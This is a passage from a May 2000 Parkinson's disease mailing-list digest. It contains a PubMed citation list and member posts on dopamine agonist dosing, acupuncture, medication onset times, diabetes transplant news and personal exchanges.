available. PMID: 10779856; UI: 20242128 Parkinsonian Motor Characteristics in Unipolar Major Depression. Rogers MA, Bradshaw JL, Phillips JG, Chiu E, J Clin Exp Neuropsychol. 2000 Apr;22(2):232-244. PMID: 10779837 Effect of selegiline on cognitive functions in PD Dixit SN, Behari M, Ahuja GK. J Assoc Physicians India. 1999 Aug;47(8):784-6. PMID: 10778622; UI: 20241090 Rejection of Porcine Mesencephalic Xenografts in a Rat Model of PD Barker RA, Ratcliffe E, McLaughlin M, Richards A, J Neurosci. 2000 May 1;20(9):3415-3424. PMID: 10777804 Sleep attacks and PD treatment. Ferreira JJ, Galitzky M, Montastruc JL, Rascol O. Lancet. 2000 Apr 15;355(9212):1333-4. PMID: 10776750; UI: 20236508 Sleep attacks (sleep episodes) with pergolide. Schapira AH. Lancet. 2000 Apr 15;355(9212):1332-3. PMID: 10776749; UI: 20236507 Abnormal reciprocal inhibition between antagonist muscles in PD Meunier S, Pol S, Houeto JL, Vidailhet M. Brain. 2000 May;123(Pt 5):1017-1026. PMID: 10775546 The surgical treatment of PD Follett KA. Annu Rev Med. 2000;51:135-47. PMID: 10774457; UI: 20236272 Repetitive transcranial magnetic stimulation in PD Siebner HR, Mentschel C, Auer C, Lehner C, Neurosci Lett. 2000 Apr 28;284(3):147-50. PMID: 10773420; UI: 20237803 Naloxone Protects Rat Dopaminergic Neurons against Inflammatory Damage Liu B, Du L, Hong JS. J Pharmacol Exp Ther. 2000 May 1;293(2):607-617. PMID: 10773035 Metabolic activity in the subthalamic nucleus in a rat model of PD Orieux G, Francois C, Feger J, Yelnik J, Neuroscience. 2000;97(1):79-88. PMID: 10771341; UI: 20235584 Nicotinic receptors and PD Quik M, Jeyarasasingam G. Eur J Pharmacol. 2000 Mar 30;393(1-3):223-30. PMID: 10771017; UI: 20235313 Functional brain imaging of movement disorders. Eidelberg D, Edwards C. Neurol Res. 2000 Apr;22(3):305-12. PMID: 10769825; UI: 20232658 Mechanisms of deep brain stimulation and future technical developments. Montgomery EB Jr, Baker KB. Neurol Res. 2000 Apr;22(3):259-66. PMID: 10769818; UI: 20232651 Advances in neurostimulation for movement disorders. Gross RE, Lozano AM. Neurol Res. 2000 Apr;22(3):247-58. PMID: 10769817; UI: 20232650 Future prospects of brain stimulation. Benabid AL, Koudsie A, Pollak P, Kahane P, Neurol Res. 2000 Apr;22(3):237-46. PMID: 10769816; UI: 20232649 Parkinson disease survival: a population-based study. Morgante L, Salemi G, Meneghini F, Di Rosa AE, Arch Neurol. 2000 Apr;57(4):507-12. PMID: 10768625; UI: 20229112 The alpha-synuclein gene and PD in a Chinese population. Chan DK, Mellick G, Cai H, Wang XL, Arch Neurol. 2000 Apr;57(4):501-3. PMID: 10768624; UI: 20229111 Cognitive impairment and the brain dopaminergic system in PD Rinne JO, Portin R, Ruottinen H, Nurmi E, Arch Neurol. 2000 Apr;57(4):470-5. PMID: 10768619; UI: 20229106 Subthalamic stimulation in PD: a multidisciplinary approach. Houeto JL, Damier P, Bejjani PB, Staedler C, Arch Neurol. 2000 Apr;57(4):461-5. PMID: 10768618; UI: 20229105 PET: the merging of biology and imaging into molecular imaging. Phelps ME. J Nucl Med. 2000 Apr;41(4):661-81. Review. PMID: 10768568; UI: 20229055 Binding of [99mTc]TRODAT-1 to dopamine transporters in PD Mozley PD, Schneider JS, Acton PD, Plossl K, J Nucl Med. 2000 Apr;41(4):584-9. PMID: 10768556; UI: 20229043 janet paterson 53 now / 41 dx / 37 onset 613 256 8340 / PO Box 171 Almonte Ontario K0A 1A0 Canada visit my website "a new voice" at: http://www.geocities.com/janet313/ ========================================================================= Date: Thu, 18 May 2000 17:57:27 -0400 Reply-To: Parkinson's Information Exchange Network <[log in to unmask]> Sender: Parkinson's Information Exchange Network <[log in to unmask]> From: Doug McCorkle <[log in to unmask]> Subject: Dosage comparison Sinemet/Requip Mime-Version: 1.0 Content-type: text/plain; charset=us-ascii Hi folks - I need to get some authoritative info on the relative "strength" of Sinemet vs. Requip. In other words, if a PWP is taking a certain amount of Sinemet per day and switches to Requip, how much Requip would likely be required to produce the same effects. I know that different drugs aren't directly comparable, that the relative strength conversions aren't always simple, and that there's sometimes disagreement among the experts, but I'm sure there must be some info on this somewhere. Any help will be appreciated. Thanks in advance. - Doug ========================================================================= Date: Thu, 18 May 2000 17:38:54 -0500 Reply-To: Parkinson's Information Exchange Network <[log in to unmask]> Sender: Parkinson's Information Exchange Network <[log in to unmask]> From: "Charles T. Meyer, M.D." <[log in to unmask]> Subject: NIH STatement on Acupuncture- MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Please anyone who wants this contact me directly. The file is too long for the Listserv and rather than clutter things up please check with me off list or check the website for Consensus statement. Charlie ========================================================================= Date: Thu, 18 May 2000 20:18:32 EDT Reply-To: Parkinson's Information Exchange Network <[log in to unmask]> Sender: Parkinson's Information Exchange Network <[log in to unmask]> From: Jo Ann Coen <[log in to unmask]> Subject: Re: People Interested in Alternative Medicine Dr. Meyer: I worked in hospitals for 26 years before I made the mistake of going into the real estate business, and at one time I was wholeheartedly against alternative treatments. . However, something happened, which caused me to seek out a recommended chiropractor, and he was wonderful in helping me with my problem. Then in 1992, I developed Bell's palsy (God was I ugly). I chose acupunture, which helped me get over the paralysis quicker. So there are things that alternative practitioners can help. Good luck in your research. Jo Ann from Houston ========================================================================= Date: Thu, 18 May 2000 17:37:04 -0700 Reply-To: Parkinson's Information Exchange Network <[log in to unmask]> Sender: Parkinson's Information Exchange Network <[log in to unmask]> From: YH <[log in to unmask]> Subject: Re: PubMed update: PMID abstracts from last 30 days: part 2 of 2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Janet, You might want to consider putting some comment and/or instruction as to what these information are and how to use them. Thanks Janet. YH --- janet paterson <[log in to unmask]> wrote: > Therapeutic effect of repetitive transcranial > magnetic stimulation in PD > Shimamoto H, Morimitsu H, Sugita S, Nakahara K, > Rinsho Shinkeigaku. 1999 Dec;39(12):1264-7. > PMID: 10791094; UI: 20251690 > > Molecular mechanism of monoamine toxicity in PD > Jimenez del Rio M, Velez-Pardo C. > Med Hypotheses. 2000 Feb;54(2):269-74. > PMID: 10790763; UI: 20253830 ...... ...... <snipped the rest> __________________________________________________ Do You Yahoo!? Send instant messages & get email alerts with Yahoo! Messenger. http://im.yahoo.com/ ========================================================================= Date: Thu, 18 May 2000 18:38:25 -0600 Reply-To: Parkinson's Information Exchange Network <[log in to unmask]> Sender: Parkinson's Information Exchange Network <[log in to unmask]> From: "Kathrynne Holden, MS, RD" <[log in to unmask]> Subject: live chat with Dr. Lieberman MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Dear Listfriends, This message was posted on "Ask the Doctor" and I believe is appropriate to post to the listserv (I received permission to post a previous message, and I feel sure that if there were time, Dr. Lieberman would give permission to post this one also). Best regards, Kathrynne ==================================================== ***A message from Ask the Doctor*** on thursday, tonight, may 18 at 8 pm eastern time healthology is hosting a live chat with me which all of you are welcome to participate in the chat will focus on the recent article in the new england journal of medicine on the use of requip as a first line treatment for parkinson disease to participate in the chat which is free of charge you should go to http://chat.yahoo.com then look under live event for parkinson chat it's short notice but hope you can participate abe lieberman ============================ -- Kathrynne Holden, MS, RD Medical nutrition therapy for Parkinson's disease Author: "Eat well, stay well with Parkinson's disease" "Parkinson's disease: interview and assessment tools for nutrition professionals" "Risk for malnutrition and bone fracture in Parkinson'sdisease," J Nutr Elderly. V18:3;1999. http://www.nutritionucanlivewith.com/ ========================================================================= Date: Fri, 19 May 2000 01:33:50 -0400 Reply-To: Parkinson's Information Exchange Network <[log in to unmask]> Sender: Parkinson's Information Exchange Network <[log in to unmask]> From: janet paterson <[log in to unmask]> Subject: Re: PubMed update: PMID abstracts from last 30 days: part 2 of 2 Comments: cc: [log in to unmask] In-Reply-To: <[log in to unmask]> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" At 05:37 PM 2000/05/18 -0700, "YH <[log in to unmask]>" wrote: >Janet, >You might want to consider putting some comment... ... and then again i might *not* want to ...!!! you have an interesting accent ! australia? malaysia? janet ps seek and ye shall find janet paterson 53 now / 41 dx / 37 onset 613 256 8340 / PO Box 171 Almonte Ontario K0A 1A0 Canada visit my website "a new voice" at: http://www.geocities.com/janet313/ ========================================================================= Date: Fri, 19 May 2000 01:53:01 +0000 Reply-To: Parkinson's Information Exchange Network <[log in to unmask]> Sender: Parkinson's Information Exchange Network <[log in to unmask]> From: Brian Collins <[log in to unmask]> Subject: Humour: New Research study proves ........ MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII The conclusion of a 5 year Double-blind placebo controlled experiment has resulted in a tentative conclusion that two plus two equals FOUR. A spokesman for the Research team said 'The findings should provide a new insight into the difficult subject of prescribing drugs for the treatment of Parkinson's Disease' Procedures; The study was carried out using a team of volunteers who were all Neurologists between the ages of 25 and 30 years. Using a double-blind random selection technique they were grouped in pairs and locked into cages, with two pairs in each cage. After five years, the subjects were released and counted. To the amazement of the Research team, the average number of neurologists in each cage was Four! ( Eight of the cages contained only three neurologists, but this was anticipated in the study, knowing how anti- social some neuros can be. An unexpected result was obtained wherein six cages were found to contain 5 people in each cage. The spokesman became rather agitated and refused to discuss this result. In summary, this new finding will have repercussions whenever prescriptions are produced, and in future in the manufacture and packaging of drugs, all of which can be approached confident in the knowledge that Two plus Two Equals Four. (At a 95% confidence level) ---------------------------------------------------------- No, I haven't flipped just yet: This bit of whimsy was provoked by the report concerning Ropinerol and Dyskinesia, which must come high in the list ofstatements of the obvious. Surely any neurologist worth his salt could ,after about two minutes of concentrated thought, make a confident and accurate prediction of the result of this study. It is obvious that the Ropinerol people are going to work their way through the age ranges , and the whole Parkinson's Circus (Patients included) Are going to congratulate them on a splendid piece of work. I think it is a total wate of money. I just had a mischeivous thought: I don't see why the other Dopamine Agonist manufacturers should not read the Ropinerol result across to their drug, with no further testing...... Any comments? -- Brian Collins <[log in to unmask]> (60/39/34) ========================================================================= Date: Fri, 19 May 2000 00:38:51 +0000 Reply-To: Parkinson's Information Exchange Network <[log in to unmask]> Sender: Parkinson's Information Exchange Network <[log in to unmask]> From: Brian Collins <[log in to unmask]> Subject: Re: EPDA Article In-Reply-To: <[log in to unmask]> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Hello Charles, I would just like to thank you for a most informative article on your Bilateral STN Stimulator Surgery, published in the Spring 2000 issue of the EPDA (European Parkinson's Disease Association) Magazine. With your informed background, the report made fascinating reading. I wish you many years of success with this new technology. Regards, -- Brian Collins <[log in to unmask]> (60/39/34) ========================================================================= Date: Thu, 18 May 2000 19:35:05 -0700 Reply-To: Parkinson's Information Exchange Network <[log in to unmask]> Sender: Parkinson's Information Exchange Network <[log in to unmask]> From: "Robert A. Fink, M. D." <[log in to unmask]> Subject: Re: People Interested in Alternative Medicine In-Reply-To: <[log in to unmask]> MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7BIT Date sent: Thu, 18 May 2000 20:18:32 EDT Send reply to: Parkinson's Information Exchange Network <[log in to unmask]> From: Jo Ann Coen <[log in to unmask]> Subject: Re: People Interested in Alternative Medicine To: [log in to unmask] > I chose acupunture, which helped me get > over the paralysis quicker. So there are things that alternative > practitioners can help. Jo Ann, How do you know that the acupuncture made the Bell's Palsy clear up faster? I treat Bell's Palsy in my practice and there is really nothing that makes it get better any faster than the nerve takes to recover its function (which is not often total). The only way to really tell is to take an identical group of diagnosed patients and treat half of them with acupuncture and the other half with nothing. BTW, I think that acupuncture has its place in medicine. It is a good pain-reliever, but it does not "cure" anything. Best, Bob ********************************************** Robert A. Fink, M. D., F.A.C.S., P. C. 2500 Milvia Street Suite 222 Berkeley, California 94704-2636 Telephone: 510-849-2555 FAX: 510-849-2557 WWW: http://www.dovecom.com/rafink/ mailto:[log in to unmask] "Ex Tristitia Virtus" ********************************************* ========================================================================= Date: Thu, 18 May 2000 21:07:25 -0600 Reply-To: Parkinson's Information Exchange Network <[log in to unmask]> Sender: Parkinson's Information Exchange Network <[log in to unmask]> From: Sylvia Berger <[log in to unmask]> Subject: Re: hugs MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Hi Jo Ann and Judy - my post wasn't intended as a 'poor little me -I need sympathy' cry. Somebody once asked me how long it took before I accepted the fact of my son's handicap. My response was that I would never accept it - just get used to it and handle it as well as possible - and that means *never* giving up. I feel the same way about Mr. PD; arthur itis and the big C. Yes we've coped with a lot but many people are worse off and I'm very lucky in lots of ways. BTW Phil has an artificial valve - the Docs here seem to use them in younger patients as they apparently last longer. This is getting a little long and maybe it should be off line . However..... Thanx for your good wishes - I feel better already Sylvia Dx 88 and doing well ========================================================================= Date: Thu, 18 May 2000 20:56:59 -0700 Reply-To: Parkinson's Information Exchange Network <[log in to unmask]> Sender: Parkinson's Information Exchange Network <[log in to unmask]> From: Juanita Hibbert <[log in to unmask]> Subject: Re: People Interested in Alternative Medicine In-Reply-To: "Robert A. Fink, M. D." <[log in to unmask]>'s message of Thu, 18 May 2000 19:35:05 -0700 Content-Type: Text/Plain; Charset=US-ASCII Content-Transfer-Encoding: 7Bit MIME-Version: 1.0 (WebTV) Dr Bob, your comment on Bells Palsy really struck home. I am living proof that no matter what treatment is used the nerves do not always repair. I have a left-sided droop in my mouth and eye . I had Bells in 1989. This droop also is more evident when I am over-tired. Just wanted to againthank you for your very informative interesting posts. Juanita CG for George 74 dx 98 ========================================================================= Date: Thu, 18 May 2000 21:12:16 -0700 Reply-To: Parkinson's Information Exchange Network <[log in to unmask]> Sender: Parkinson's Information Exchange Network <[log in to unmask]> From: Murray Charters <[log in to unmask]> Subject: NON PD: Exciting News For Diabetics MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7BIT Hi All, I read this news in the Canadian papers today and thought "Wow! This is fantastic. If they can do this for diabetes maybe soon we People With Parkinson's will get a *breakthrough*!" I live for this stuff! ............... murray I went on the web and found the story at: http://www.edmontonjournal.com/stories1/000518/4124554.html Thursday 18 May 2000 U of A team beats diabetes Eight diabetics have not needed insulin shots since islet cell transplant Andy Ogle, Journal Staff Writer The Edmonton Journal A University of Alberta research team has produced a diabetes breakthrough that has already freed eight people from their daily insulin injections for an average of 11 months. The team, led by Dr. Ray Rajotte and including transplant surgeon James Shapiro, Dr. Jonathan Lakey and Dr. Greg Korbutt, injected insulin-producing cells from donor pancreases into the eight patients, aged 29 to 53. Such a procedure has been tried before by doctors in other countries but this marks the first time patients have been completely freed from insulin injections. Shapiro told a meeting of the American Society of Transplant Surgeons and the American Transplantation Society in Chicago this week that the patients have all done well since their islet- cell transplants. They continue to show no signs of damage from high blood sugar. All the patients have had diabetes since childhood and were selected for the procedure because they had difficulty controlling their blood sugar with insulin injections. The needed up to 15 injections a day and lived under the constant threat of blackouts. Shapiro said a new immune-suppression drug called Rapa mune, which became available in the United States last year, was crucial to the new treatment. It can be given in low doses and does not appear to have some of the side effects of most immune suppressants. Joanne Langner of the Alberta Foundation for Diabetes Research, which has provided $1.8 million for the islet-cell transplant trial, said the results are amazing. "This is extremely exciting for diabetics everywhere," Langner said. "There's a definite improvement in the quality of life for these individuals." Langner said she's met most of the patients and all have told her the best thing is being able to live normal lives. "Even being able to sleep in late is a novel experience for them," she said. Neither Shapiro, who is still out of the country, nor his colleagues in Edmonton were available on Wednesday. They have a paper ready to be published in the prestigious New England Journal of Medicine, which traditionally imposes a strict news blackout on anything it publishes until the day of publication. But word of the talk in Chicago by Shapiro, who is originally from England, leaked out in the British press Wednesday. The U of A medical faculty fielded calls all day Wednesday from diabetic patients from Britain seeking more information on the new treatment. The actual transplant is about a 15-minute, day-surgery procedure involving injection of the cells into the portal vein, the main vein connected to the liver. The cells migrate to the liver where, even though they are in a different organ, they take root and produce sufficient insulin to meet the patients' needs. Unfortunately, said Langner, the treatment won't be available to many patients right away because the treatment relies on organ donation. It takes two donor pancreas to supply enough islet cells for one transplant procedure. *************************************************************************************************** [log in to unmask] ========================================================================= Date: Fri, 19 May 2000 00:26:04 EDT Reply-To: Parkinson's Information Exchange Network <[log in to unmask]> Sender: Parkinson's Information Exchange Network <[log in to unmask]> From: [log in to unmask] Subject: PMTDabstracts Comments: To: [log in to unmask] MIME-Version: 1.0 Content-Type: text/plain; charset="US-ASCII" Content-Transfer-Encoding: 7bit Janet , We, who are not so savvy at digging up the nitty=gritty news, do appreciate your efforts on our behalf. Nice selection ... mm ========================================================================= Date: Thu, 18 May 2000 23:11:47 -0500 Reply-To: E1 Mail Server <[log in to unmask]> Sender: Parkinson's Information Exchange Network <[log in to unmask]> From: E1 Mail Server <[log in to unmask]> Subject: Off/On Delay Experience MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_0007_01BFC11E.70FBE800" This is a multi-part message in MIME format. ------=_NextPart_000_0007_01BFC11E.70FBE800 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable On 20/20 last night Michael Fox took a break to take a pill.It only took = 5 minutes for his new pill to work.Why am I not able to do this, 45 = minutes is average on a good day if I haven/t eaten any protien,Would = like to hear from others ,How long are you off? How many times each = day? =20 Ruth (56/45/?) ------=_NextPart_000_0007_01BFC11E.70FBE800 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <HTML><HEAD> <META content=3D"text/html; charset=3Diso-8859-1" = http-equiv=3DContent-Type> <META content=3D"MSHTML 5.00.2314.1000" name=3DGENERATOR> <STYLE></STYLE> </HEAD> <BODY bgColor=3D#ffffff> <DIV><FONT size=3D2> <DIV><FONT size=3D2>On 20/20 last night Michael Fox took a break to take = a pill.It=20 only took 5 minutes for his new pill to work.Why am I not able to = do=20 this, 45 minutes is average on a good day if = I=20 haven/t eaten any protien,Would like to hear from others ,How long are = you off?=20 How many times each day? </FONT></DIV> <DIV> </DIV> <DIV>Ruth (56/45/?)</DIV></FONT></DIV></BODY></HTML> ------=_NextPart_000_0007_01BFC11E.70FBE800-- ========================================================================= Date: Thu, 18 May 2000 21:32:35 -0700 Reply-To: Parkinson's Information Exchange Network <[log in to unmask]> Sender: Parkinson's Information Exchange Network <[log in to unmask]> From: Murray Charters <[log in to unmask]> Subject: Re: PubMed update: PMID abstracts from last 30 days: part 2 of 2 In-Reply-To: <[log in to unmask]> MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7BIT Hi YH and All, I think just telling us there are all of these PD related Pub Med postings is enough to post here. Janet posted the mini-abstracts and the "numbers" (ie:PMID: 10791094; UI: 20251690) so that we would be able to search for the full text if we're so inclined. For info on how Pub Med works and how to access these papers go to: (WWWeb Resources) http://www.geocities.com/janet313/pienet/wwweb/index.html and look for page 06 - Library of Medicine On-Line and scroll down to the Pub Med stuff. That's where to look 'n Janet gave us a *headsup* on what to look for... The rest is up to you... All the best ...... murray On 18 May 2000, at 17:37, YH wrote: > Janet, > > You might want to consider putting some comment and/or > instruction as to what these information are and how > to use them. > > Thanks Janet. > > YH > > --- janet paterson <[log in to unmask]> wrote: > > Therapeutic effect of repetitive transcranial > > magnetic stimulation in PD > > Shimamoto H, Morimitsu H, Sugita S, Nakahara K, > > Rinsho Shinkeigaku. 1999 Dec;39(12):1264-7. > > PMID: 10791094; UI: 20251690 > > > > Molecular mechanism of monoamine toxicity in PD > > Jimenez del Rio M, Velez-Pardo C. > > Med Hypotheses. 2000 Feb;54(2):269-74. > > PMID: 10790763; UI: 20253830 > ...... > ...... > <snipped the rest> > > __________________________________________________ [log in to unmask] View the Parkinson's Awareness Links at: http://www.geocities.com/janet313/pienet/wwweb/index.html ========================================================================= Date: Thu, 18 May 2000 22:10:38 -0700 Reply-To: Parkinson's Information Exchange Network <[log in to unmask]> Sender: Parkinson's Information Exchange Network <[log in to unmask]> From: Murray Charters <[log in to unmask]> Subject: Re: Off/On Delay Experience MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7BIT On 18 May 2000, at 23:11, E1 Mail Server (Ruth) wrote: On 20/20 last night Michael Fox took a break to take a pill.It only took 5 minutes for his new pill to work.Why am I not able to do this, 45 minutes is average on a good day if I haven/t eaten any protien,Would like to hear from others ,How long are you off? How many times each day? Ruth (56/45/?) Hey Ruth, That was TV! And we don't know what kind of *pill* MJF was poppin'! Seriously, if I crush a standard Sinemet and take it with half 'n half 7Up and OJ I can feel the effect in about 10 minutes. All the best ...................... murray [log in to unmask] View the Parkinson's Awareness Links at: http://www.geocities.com/janet313/pienet/wwweb/index.html ========================================================================= Date: Thu, 18 May 2000 21:59:10 -0700 Reply-To: Parkinson's Information Exchange Network <[log in to unmask]> Sender: Parkinson's Information Exchange Network <[log in to unmask]> From: YH <[log in to unmask]> Subject: Re: PubMed update: PMID abstracts from last 30 days: part 2 of 2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Thanks Murray for the guidance. As I am new to these information I have no idea how to use them. And thanks Janet for the effort. I appreciate. --- Murray Charters <[log in to unmask]> wrote: > Hi YH and All, > I think just telling us there are all of these PD > related Pub Med > postings is enough to post here. Janet posted the > mini-abstracts > and the "numbers" (ie:PMID: 10791094; UI: 20251690) > so that we > would be able to search for the full text if we're > so inclined. > > For info on how Pub Med works and how to access > these papers > go to: (WWWeb Resources) > > http://www.geocities.com/janet313/pienet/wwweb/index.html > > and look for page 06 - Library of Medicine On-Line > and scroll down to > the Pub Med stuff. > > That's where to look 'n Janet gave us a *headsup* on > what to look for... > > The rest is up to you... All the best ...... murray > > > On 18 May 2000, at 17:37, YH wrote: > > > Janet, > > > > You might want to consider putting some comment > and/or > > instruction as to what these information are and > how > > to use them. > > > > Thanks Janet. > > > > YH > > > > --- janet paterson <[log in to unmask]> wrote: > > > Therapeutic effect of repetitive transcranial > > > magnetic stimulation in PD > > > Shimamoto H, Morimitsu H, Sugita S, Nakahara K, > > > Rinsho Shinkeigaku. 1999 Dec;39(12):1264-7. > > > PMID: 10791094; UI: 20251690 > > > > > > Molecular mechanism of monoamine toxicity in PD > > > Jimenez del Rio M, Velez-Pardo C. > > > Med Hypotheses. 2000 Feb;54(2):269-74. > > > PMID: 10790763; UI: 20253830 > > ...... > > ...... > > <snipped the rest> > > > > __________________________________________________ > > > > [log in to unmask] > > View the Parkinson's Awareness Links at: > http://www.geocities.com/janet313/pienet/wwweb/index.html __________________________________________________ Do You Yahoo!? Send instant messages & get email alerts with Yahoo! Messenger. http://im.yahoo.com/ ========================================================================= Date: Fri, 19 May 2000 06:18:27 GMT Reply-To: Parkinson's Information Exchange Network <[log in to unmask]> Sender: Parkinson's Information Exchange Network <[log in to unmask]> From: Judy George <[log in to unmask]> Subject: Re: hugs Mime-Version: 1.0 Content-Type: text/plain; format=flowed here's a koala hug just for today cant do much else but koalas cling very tightly judy >From: Juanita Hibbert <[log in to unmask]> >Reply-To: Parkinson's Information Exchange Network ><[log in to unmask]> >To: [log in to unmask] >Subject: Re: hugs >Date: Thu, 18 May 2000 12:47:51 -0700 > >I received the teddy bear in the body plus an attachment. >Ineeded that Hug today. Thanks. >Juanita CG for George 74 dx 98 ________________________________________________________________________ Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com ========================================================================= Date: Fri, 19 May 2000 06:21:46 GMT Reply-To: Parkinson's Information Exchange Network <[log in to unmask]> Sender: Parkinson's Information Exchange Network <[log in to unmask]> From: Judy George <[log in to unmask]> Subject: Re: The wake up call Mime-Version: 1.0 Content-Type: text/plain; format=flowed chuck look very caaarefully for unicorns on that fence sounds a great place to be golf on tap we have small spaces for seniors but not with ordinaces of that kind enjoy your evenings >From: Charles E Murray <[log in to unmask]> >Reply-To: Parkinson's Information Exchange Network ><[log in to unmask]> >To: [log in to unmask] >Subject: Re: The wake up call >Date: Thu, 18 May 2000 13:22:08 -0700 > >You said, hope the new apartment is suitable chuck >no stairs is a great thing > >Actually it is a modest 3 BR house, but the backyard is adjacent to the >second green at my golf club. I can't wait to step over the little >redwood fence (less that one meter high) and practice short shots in the >evenings, maybe even play a few holes. This senior small town within the >city (It has its own ordinances, one of which is that emergency vehicles >must turn sirens off when enering Kern City, as its called), has a >population of just a thousand or so people. > >Love >Chuck ________________________________________________________________________ Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com ========================================================================= Date: Thu, 18 May 2000 23:37:13 -0700 Reply-To: Parkinson's Information Exchange Network <[log in to unmask]> Sender: Parkinson's Information Exchange Network <[log in to unmask]> From: Charles E Murray <[log in to unmask]> Subject: Re: People Interested in Alternative Medicine MIME-Version: 1.0 Content-Type: text/plain Content-Transfer-Encoding: 7bit Bob, you said, (snip) > BTW, I think that acupuncture has its place in medicine. It is a > good > pain-reliever, but it does not "cure" anything. > It is my understanding that our western medical science has no clear understanding of why acupuncture relieves pain (only that this has been clearly established). Until our science can unravel this mystery, wouldn't it be more prudent to say that the western science of medicine has not been able to validate claims that acupuncture has a therapeutic effect in the treatment of illness? BTW, acupuncturists would probably be the first to agree that they do not "cure" anything, since, in my limited understanding, this treatment is thought in the East to facilitate the body's natural healing powers by unblocking some sort of energy flow necessary to proper health in the affected area of the body. Perhaps this is what you meant by saying acupuncture does not cure anything? (I'm really not trying to be a smart a-- with this question as I have known physicians who emphasize that drugs and surgery generally facilitate, but that the body "cures.") Chuck ========================================================================= Date: Thu, 18 May 2000 23:53:00 -0700 Reply-To: Parkinson's Information Exchange Network <[log in to unmask]> Sender: Parkinson's Information Exchange Network <[log in to unmask]> From: Charles E Murray <[log in to unmask]> Subject: Re: Unicorns MIME-Version: 1.0 Content-Type: text/plain Content-Transfer-Encoding: 7bit Judy, you said, "look very caaarefully for unicorns on that fence sounds a great place to be golf on tap We don't have unicorns in Kern City, they are excluded by one of those ordinances I mentioned, and must stop at the edge of senior section. Are they really allowed in those small senior areas where you live? You said your senior areas didn't have these types of laws, but if you can go after the rabbits, surely you keep the horned ones from pestering your seniors:-) About to turn in at daughter's (first night of two week stay). Pat and I went to our Thursday night couples meeting (sort of a 12 step meeting but for alkies and family members) . Tired after long day of moving odds and ends to storage while the moving company handled the big stuff, but went to meeting anyway as I had traded my little toyota Carrola for big truck and needed to get truck back to generous friend. When we got to daughters an hour or so ago, our king size bed had displaced their den furniture, it was put together and the linens in place. Nice to have kids like this. Will have a good night's sleep, but kicking myself for scheduling a new couple for mediation at 8:30 AM, which is on the early side for this parkie to be at the office, let alone with the sore muscles I'll have in the morning. I better turn in. Love Chuck ========================================================================= Date: Fri, 19 May 2000 00:02:46 -0700 Reply-To: Parkinson's Information Exchange Network <[log in to unmask]> Sender: Parkinson's Information Exchange Network <[log in to unmask]> From: Charles E Murray <[log in to unmask]> Subject: apology MIME-Version: 1.0 Content-Type: text/plain Content-Transfer-Encoding: 7bit My apology to the list for inadvertently sending a post to the list that was intended to be private. I hit reply and didn't realize the post was going to the list until too late. I have been taking more than my share of list time as it is, and won't belabor my apology, except to say my face is a bit red as I type it. Love Chuck ========================================================================= Date: Fri, 19 May 2000 10:08:02 +0200 Reply-To: [log in to unmask] Sender: Parkinson's Information Exchange Network <[log in to unmask]> From: Maryse Schild <[log in to unmask]> Subject: Re: Off/On Delay Experience MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="------------043CC41234B38DCFAE220B2F" --------------043CC41234B38DCFAE220B2F Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Was it a live prgram? they might have cut some of his off time Maryse > On 18 May 2000, at 23:11, E1 Mail Server (Ruth) wrote: > > On 20/20 last night Michael Fox took a break to take a pill.It only took 5 minutes for his new pill to > work.Why am I not able to do this, 45 minutes is average on a good day if I haven/t eaten any > protien,Would like to hear from others ,How long are you off? How many times each day? > > Ruth (56/45/?) > --------------043CC41234B38DCFAE220B2F Content-Type: text/html; charset=us-ascii Content-Transfer-Encoding: 7bit <!doctype html public "-//w3c//dtd html 4.0 transitional//en"> <html> <p>Was it a live prgram? they might have cut some of his off time <br>Maryse <blockquote TYPE=CITE>On 18 May 2000, at 23:11, E1 Mail Server (Ruth) wrote: <p>On 20/20 last night Michael Fox took a break to take a pill.It only took 5 minutes for his new pill to <br>work.Why am I not able to do this, 45 minutes is average on a good day if I haven/t eaten any <br>protien,Would like to hear from others ,How long are you off? How many times each day? <p>Ruth (56/45/?) <br><a href="http://www.geocities.com/janet313/pienet/wwweb/index.html"></a> </blockquote> </html> --------------043CC41234B38DCFAE220B2F-- ========================================================================= Date: Fri, 19 May 2000 06:09:29 +0000 Reply-To: Parkinson's Information Exchange Network <[log in to unmask]> Sender: Parkinson's Information Exchange Network <[log in to unmask]> From: Brian Collins <[log in to unmask]> Subject: Re: Off/On Delay Experience In-Reply-To: <39246A5E.21244.8EEDA19@localhost> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII On Fri 19 May, Murray Charters wrote: > On 18 May 2000, at 23:11, E1 Mail Server (Ruth) wrote: > > On 20/20 last night Michael Fox took a break to take a pill.It only took 5 minutes for > his new pill to > work.Why am I not able to do this, 45 minutes is average on a good day if I haven/ > t eaten any > protien,Would like to hear from others ,How long are you off? How many times each day > ? > > Ruth (56/45/?) > > Hey Ruth, > That was TV! And we don't know what kind of *pill* MJF was poppin'! > > Seriously, if I crush a standard Sinemet and take it with half 'n half > 7Up and OJ I can feel the effect in about 10 minutes. > > All the best ...................... murray > [log in to unmask] > > View the Parkinson's Awareness Links at: > http://www.geocities.com/janet313/pienet/wwweb/index.html > > Murray's Sinemet/Orange juice is the fastest that I have heard of (I haven't tried it myself, because I am quite happy with mmy Madopar Dispersible. These are soluble tablets , come in 